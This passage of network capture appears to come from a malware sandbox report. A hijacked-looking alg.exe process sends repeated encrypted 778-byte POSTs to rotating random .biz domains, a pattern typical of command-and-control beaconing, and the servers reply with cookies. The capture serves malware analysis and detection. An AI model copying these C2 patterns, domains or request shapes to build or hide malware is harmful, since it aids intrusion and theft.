53	192.168.2.5	50029	13.251.16.150	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:31.874021053 CET	351	OUT	POST /assjekuls HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jdhhbs.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:31.874051094 CET	778	OUT	Data Raw: e8 21 59 3b 64 2f eb 90 fe 02 00 00 3a c1 b5 98 5f e2 06 91 28 3a dd ba b8 7e bf c7 7e 60 98 00 94 36 ba 42 12 3c 41 15 6d ae 2b d1 a0 4b 52 a7 76 bc 9a 09 a2 79 81 72 c5 2b 8d 01 e7 2b b5 79 03 8c 0a e5 eb a0 c6 04 7f 77 e1 14 72 44 28 53 3c 05 Data Ascii: !Y;d/:_(:~~`6B<Am+KRvyr++ywrD(S<UP9-v!FfO9XDeCsRap58Mgoj7+2w'S\:]\|=m,*8@B)4sH+4Y$KO]hQ~\c_OhP)8&Z
Oct 28, 2024 16:51:33.305397987 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=0948c094aa2dea2752cb3f542f2addb5\|155.94.241.188\|1730130693\|1730130693\|0\|1\|0; path=/; domain=.jdhhbs.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50030	34.246.200.160	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:33.337615967 CET	351	OUT	POST /isekcf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mgmsclkyu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:33.337645054 CET	778	OUT	Data Raw: a5 82 fd 4b 52 dd 09 09 fe 02 00 00 e5 c0 30 30 b1 46 1d ad c6 90 21 98 c6 99 d2 a4 6b cd 06 2f 92 fb a8 06 3a 5e 74 c3 2d cb 2b ea 13 12 99 23 c7 56 b2 ca b3 2b 1c 64 98 a5 c4 fc af c0 03 ad cf df 79 b1 25 65 3c 4f 8b 7e 71 06 f1 43 14 10 e0 44 Data Ascii: KR00F!k/:^t-+#V+dy%e<O~qCD87!?XY}o> {_<JSg5[\|^u:qV60TRO#bw4Y=[XI!<iDnRA{Ri3{Hc;s2y%3F
Oct 28, 2024 16:51:34.333245993 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=69afd326d0e0a19f21a3754425cb08fe\|155.94.241.188\|1730130694\|1730130694\|0\|1\|0; path=/; domain=.mgmsclkyu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50031	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:34.399827003 CET	356	OUT	POST /gneewdogqwseu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: warkcdu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:34.399847031 CET	778	OUT	Data Raw: cc 09 26 87 a8 28 f2 e4 fe 02 00 00 0e e3 30 89 e1 0d 6e 95 28 df ba 8d 09 bf 55 db ac 78 b0 e1 99 bf 1d cc aa 91 d8 a5 0f b0 4a 5f 66 44 22 e4 78 80 5f 12 25 78 20 66 b5 1c 07 e6 ec e1 45 5d c4 09 f6 13 40 04 9a 57 72 05 6b 3c f7 a8 af dc bf 13 Data Ascii: &(0n(UxJ_fD"x_%x fE]@Wrk<,"H2Kbb#g-"YQ\|nnZlsK3Lg}b1AcJ}c=@1oLxsj.4VCS ;+7&fcSohCZ{m
Oct 28, 2024 16:51:35.816320896 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=94471f6d17386ce5daab674d1b7114c8\|155.94.241.188\|1730130695\|1730130695\|0\|1\|0; path=/; domain=.warkcdu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50032	13.251.16.150	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:35.898600101 CET	351	OUT	POST /onpfurgnxg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gcedd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:35.898655891 CET	778	OUT	Data Raw: 20 c4 c2 77 fc 6b 56 5f fe 02 00 00 99 32 b9 72 05 7d b0 4f 51 11 1a f0 12 96 b3 09 32 2e bd 05 ee 5e 3a f1 64 dd aa 01 7c 09 12 ff a1 d5 fc 5d dc ee f8 9b ff da ad f1 d3 24 97 01 c6 a5 9b e1 02 5a 9d be a9 1c d3 de c4 a1 51 5c b9 b8 0b 84 99 7b Data Ascii: wkV_2r}OQ2.^:d\|]$ZQ\{k<wcu769a;rr-TdPx*6PscmvF"Y" M;971#0'Exp?d4{-bS(\|kqV7f+@FodNgWl?Oe,8
Oct 28, 2024 16:51:37.315936089 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=283a6632d6fa2f431860a4401c60393c\|155.94.241.188\|1730130697\|1730130697\|0\|1\|0; path=/; domain=.gcedd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50033	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:37.337641954 CET	358	OUT	POST /roauatfpewvsf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jwkoeoqns.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:37.337667942 CET	778	OUT	Data Raw: ac 5b ab 92 8b 05 15 5d fe 02 00 00 4a be bf 40 e6 28 63 e4 eb f1 8a ec 33 a9 b9 b2 30 b5 c2 7e f6 29 65 60 ce f0 ca 0b 96 02 52 9d f9 80 07 42 e7 43 f4 27 36 c2 8b 23 67 4a 70 da d5 55 4c 6b 03 38 89 69 27 f4 99 36 a8 91 66 3c 2a 01 dc fc f3 d8 Data Ascii: []J@(c30~)e`RBC'6#gJpULk8i'6f<*+F^4pHQ$G]UB9~fs"0a0{gKX{!Xjf~QCK4wrthC$.@<F_]Ar9&PZ+M
Oct 28, 2024 16:51:38.031399012 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d44bc9711a4061cce67c8e18edc849da\|155.94.241.188\|1730130697\|1730130697\|0\|1\|0; path=/; domain=.jwkoeoqns.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50034	18.246.231.120	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:38.055713892 CET	346	OUT	POST /aixrt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xccjj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:38.055773973 CET	778	OUT	Data Raw: d4 47 16 a5 b4 45 89 46 fe 02 00 00 1b 11 dc ec 69 dc ab 78 72 bb 5b 54 ca 51 ef ca f0 10 1e be 1d 56 c3 35 61 85 41 31 7a 00 dc 01 db 59 4b ca be 05 dd 02 f2 39 c1 3a 56 d6 33 c1 f6 3d 69 9d d9 ac 48 d6 c1 ee 53 09 66 77 a6 7a 8e be 9a 27 0f ec Data Ascii: GEFixr[TQV5aA1zYK9:V3=iHSfwz'CjRr21a3#p@ w76WsQzmOnybs7)%)am%UFp\|)Fi*GBN.SBn4?x=#4lH-g$:QI#eht:?:_XB'
Oct 28, 2024 16:51:38.882219076 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b27d88f0ac053d093162b936896aa103\|155.94.241.188\|1730130698\|1730130698\|0\|1\|0; path=/; domain=.xccjj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50035	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:38.910871983 CET	354	OUT	POST /moaxleedvt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: hehckyov.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:38.910923004 CET	778	OUT	Data Raw: cd 34 89 57 3a a0 6d 75 fe 02 00 00 0f c7 01 bd 0d cc e2 68 08 8d e2 46 97 9f 76 4c df 3f 76 2f a6 8c 3f aa e7 58 44 af 9a a0 d5 30 00 c1 8f bc 90 bb da 58 ba c2 ef 1f 37 5b e8 84 fe 5b dd ae 8f 25 e2 75 a6 6a 8c fd f8 24 59 21 b2 3f 13 b6 c7 58 Data Ascii: 4W:muhFvL?v/?XD0X7[[%uj$Y!?X{Ed9L3=zKF/d@iupdFQmatC9F\|T M1J,Db`-+q\|9c&HL_c%C3eosu6IkGG
Oct 28, 2024 16:51:39.574330091 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=07813e85462d6ed512a6919f6acc6c32\|155.94.241.188\|1730130699\|1730130699\|0\|1\|0; path=/; domain=.hehckyov.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50036	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:39.787156105 CET	349	OUT	POST /sspabsr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: rynmcq.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:39.787187099 CET	778	OUT	Data Raw: f6 ec b8 fe 1e 11 b0 20 fe 02 00 00 86 0b 8b 5e e5 c4 36 20 41 cd 6c 1a 4a d3 66 6c 5b 86 0c 6c 21 d3 3f bd 44 98 31 cf d8 7a f8 bd 28 95 62 09 83 70 31 ef ba f2 a0 91 78 66 a2 b5 be 6c 37 83 07 df 20 12 4d 2c f9 d2 57 df 04 f0 4f d5 32 e4 43 b9 Data Ascii: ^6 AlJfl[l!?D1z(bp1xfl7 M,WO2C(F)7Zpl0z/.b0lB5JN\2`5,C0m"a<GsNE!}b;(<PO9gM":>?+vQIdbDZ+md&%Mk
Oct 28, 2024 16:51:40.629626989 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1d232b9d4330d9c9624d3e0078d55d82\|155.94.241.188\|1730130700\|1730130700\|0\|1\|0; path=/; domain=.rynmcq.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50037	3.254.94.185	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:40.652286053 CET	353	OUT	POST /qrtkifykhcnq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: uaafd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:40.652313948 CET	778	OUT	Data Raw: eb dd 63 b1 5a 16 6b bf fe 02 00 00 ae 01 aa ae 5b 14 5d 74 66 48 17 7f 6d ad 00 59 d1 e8 82 5c af 72 34 c2 e3 bc 83 73 c0 9b ec e3 c9 fe 2e 6a 88 c9 61 85 65 00 8a 26 ab 02 89 ab 18 ed 31 24 d3 95 01 ea 84 12 72 e8 6c d5 b4 b1 66 d6 f9 68 b8 80 Data Ascii: cZk[]tfHmY\r4s.jae&1$rlfh'\|>5AFfYa}ZoI9p^gKcHrg7,R=b+9L\|(`U3P=:\oP-tyKAcl5O
Oct 28, 2024 16:51:41.619568110 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5f8008db04316a410cc11071b9e42bf9\|155.94.241.188\|1730130701\|1730130701\|0\|1\|0; path=/; domain=.uaafd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50038	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:41.640803099 CET	358	OUT	POST /sduodvbdxsrqja HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: eufxebus.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:41.640830994 CET	778	OUT	Data Raw: e1 9a d1 f7 51 4c f5 20 fe 02 00 00 82 88 aa c8 ae 87 61 c9 cd 58 e3 a7 ac bd c9 c9 96 f6 06 fd ef 0a 01 2a 2d 84 e2 40 33 53 4d a1 75 7f 45 0e 26 42 e9 2a d5 d1 ac 26 02 db 47 c0 54 a6 b7 e4 1e 85 fe 02 92 24 f3 5d 36 36 46 6e b9 4f 1e 95 80 de Data Ascii: QL aX-@3SMuE&B&GT$]66FnOR,#vm>9_gLzr1y!lgq6p4N#cLZ#C.Q>J`vju.OAgO6U?F~OxVFC"PN<4'f$?s
Oct 28, 2024 16:51:43.059278965 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d6cdca91d20216e2c232262d723205ee\|155.94.241.188\|1730130702\|1730130702\|0\|1\|0; path=/; domain=.eufxebus.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50039	34.246.200.160	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:43.085338116 CET	348	OUT	POST /guistk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pwlqfu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:43.085338116 CET	778	OUT	Data Raw: 36 6e 6f 1d ed 22 05 82 fe 02 00 00 2d 59 fc ba a3 f6 27 17 5b 85 ee fc 8f f3 81 ec b4 ae d2 61 1a cc 94 da b5 96 ab f9 2c da b5 31 11 d3 61 8e 63 fe 86 10 22 73 a4 71 0c 56 64 f0 0a 48 3f 29 42 fe 44 18 74 e4 4b 26 b6 d3 c9 ed 89 5f aa 33 13 34 Data Ascii: 6no"-Y'[a,1ac"sqVdH?)BDtK&_34 ?P&eF+CM7Velu+nV#>:W$U*g:M1?C:yK+s'~&yD.x[i5D `L{m% ^Y[
Oct 28, 2024 16:51:44.062854052 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=afeebabb8ada25940beeb5e9d71b8cfb\|155.94.241.188\|1730130703\|1730130703\|0\|1\|0; path=/; domain=.pwlqfu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50040	47.129.31.212	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:44.085705042 CET	353	OUT	POST /taltetnl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: rrqafepng.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:44.085737944 CET	778	OUT	Data Raw: f7 64 5b 6f 3b ec 08 d7 fe 02 00 00 8a e3 4a bc 4a d5 2f 9f 48 b1 d8 5d da 21 97 0a e7 3e f1 7c 91 5f bb 3f 3b 37 6e 55 ec ec f7 00 8d 50 bf ce f6 85 37 28 05 6f 3e e2 14 43 e4 3f 1a 2a 2c 28 d4 da d9 3f a6 5c a8 d2 64 e8 37 22 56 b1 00 d0 20 37 Data Ascii: d[o;JJ/H]!>\|_?;7nUP7(o>C?,(?\d7"V 7sP%x$?bRaA2w.XE+swm1N=XZl-"Eu;/Q8 .7R3*h&Ix$@t! t =#zo2
Oct 28, 2024 16:51:45.517138004 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5aa9f8852031495d19eae109a4e83556\|155.94.241.188\|1730130705\|1730130705\|0\|1\|0; path=/; domain=.rrqafepng.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50041	3.94.10.34	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:45.539834976 CET	345	OUT	POST /s HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ctdtgwag.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:45.542960882 CET	778	OUT	Data Raw: 80 ff 7c 8a 80 2f a0 44 fe 02 00 00 3d 6b 6d 04 ac 9d b0 1c 84 2b e1 4a ef 6d 92 12 0c 8a 0d 91 d3 d4 82 66 22 3f f8 2b e3 0f 54 84 90 ef d3 34 1f e5 97 79 9e 94 39 3b 5e 35 b5 96 2e 3e 38 73 30 02 ff 6b 62 ec 88 a4 13 36 7c 12 74 1d 0e a0 66 8c Data Ascii: \|/D=km+Jmf"?+T4y9;^5.>8s0kb6\|tfU%sj.~Y^W5<1Jej`h\|=w<e=7C\Jvmo\|Dr=N'GG5R=@U,Wdn/h,RW]":dU[4q2
Oct 28, 2024 16:51:46.217255116 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a88bdcd6f3a9bd870a8417fe81033487\|155.94.241.188\|1730130706\|1730130706\|0\|1\|0; path=/; domain=.ctdtgwag.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50042	35.164.78.200	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:46.264581919 CET	357	OUT	POST /yasnhmosjfaqm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tnevuluw.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:46.264606953 CET	778	OUT	Data Raw: ac e7 af 9c f3 c6 3c be fe 02 00 00 57 2c 34 f6 83 9d 4b 67 53 69 6e 81 dc bb 65 b8 b3 7f 45 d9 30 5f d4 f7 f2 8e d8 97 ff d1 aa 95 e3 8d 57 35 b8 51 76 1b d5 a6 08 d0 62 55 9f ee d7 24 a9 a9 fc 52 4b 56 4b a9 04 ad b3 2b cd 65 13 4c 49 ea 04 d6 Data Ascii: <W,4KgSineE0_W5QvbU$RKVK+eLI^4-Vx9]^XLvAjkj,h#!?5#dE0j61R^6]8@RJ.`q4x9"(]<ST`u2Zz-vg!"i2G?
Oct 28, 2024 16:51:47.093986988 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7506ed47ac33bd476a649b593811e1a5\|155.94.241.188\|1730130706\|1730130706\|0\|1\|0; path=/; domain=.tnevuluw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50043	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:47.212018013 CET	347	OUT	POST /oogcd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: whjovd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:47.212018013 CET	778	OUT	Data Raw: d4 86 db 0e 90 a3 d2 81 fe 02 00 00 4d 11 6f 39 24 b0 1f 41 ed 8a 0b 18 f7 90 a1 77 23 a6 98 53 90 e2 96 0b a2 55 75 ae 90 4a 67 68 d6 62 92 6a e7 68 ca 85 58 3b 3b 32 18 08 d0 8a 20 c6 b0 85 67 54 ea 87 a7 8b 47 f4 8f ca d9 a6 73 f5 dc b0 58 1f Data Ascii: Mo9$Aw#SUuJghbjhX;;2 gTGsXkw\\|TJqT%<[JuE^4~W{Y8ZAC6+kjM{KWOtck\|52aR^G\7cz$ON'k{F&3]1Tf
Oct 28, 2024 16:51:48.629209042 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8dff23a9b5d1dde2d75e12504c62f33b\|155.94.241.188\|1730130708\|1730130708\|0\|1\|0; path=/; domain=.whjovd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50044	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:48.959253073 CET	351	OUT	POST /srbpajvg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: reczwga.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
